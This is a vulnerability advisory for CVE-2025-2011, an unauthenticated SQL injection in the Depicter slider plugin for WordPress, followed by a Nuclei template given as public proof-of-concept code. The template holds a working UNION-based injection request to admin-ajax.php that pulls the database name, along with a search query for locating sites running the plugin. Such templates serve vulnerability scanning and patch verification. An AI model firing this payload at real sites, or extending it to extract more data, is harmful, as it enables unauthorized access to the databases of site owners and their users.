The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
PoC代码[已公开]
id: CVE-2025-2011
info:
name: Slider & Popup Builder by Depicter <= 3.6.1 - Unauthenticated SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
reference:
- https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179
- https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L23
- https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L49
- https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Database/Repository/LeadRepository.php?rev=3156664#L224
- https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Services/LeadService.php?rev=3156664#L82
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-2011
cwe-id: CWE-89
epss-score: 0.66504
epss-percentile: 0.98491
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/depicter/"
tags: cve,cve2025,wordpress,wp-plugin,wp,sqli,vkev
http:
- raw:
- |
GET /wp-admin/admin-ajax.php?s=9999')union+select+111,222,(select(concat(0x44617461626173653a20,database()))),4444,+5--+-&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Database: '
- 'commonFields'
- 'content'
condition: and
extractors:
- type: regex
part: body
internal: false
name: dbname
group: 1
regex:
- '"id":"Database: (.*?)"'
# digest: 4a0a00473045022100d58ff093792fd677fcf69b721fa3a6e9f3c11dd79713374545fa99c1bec07e9e0220265d56335afd2beb74003656d07e4b9c60a62582fbdf637514214a1392cbf45e:922c64590222798bb761d5b6d8e72950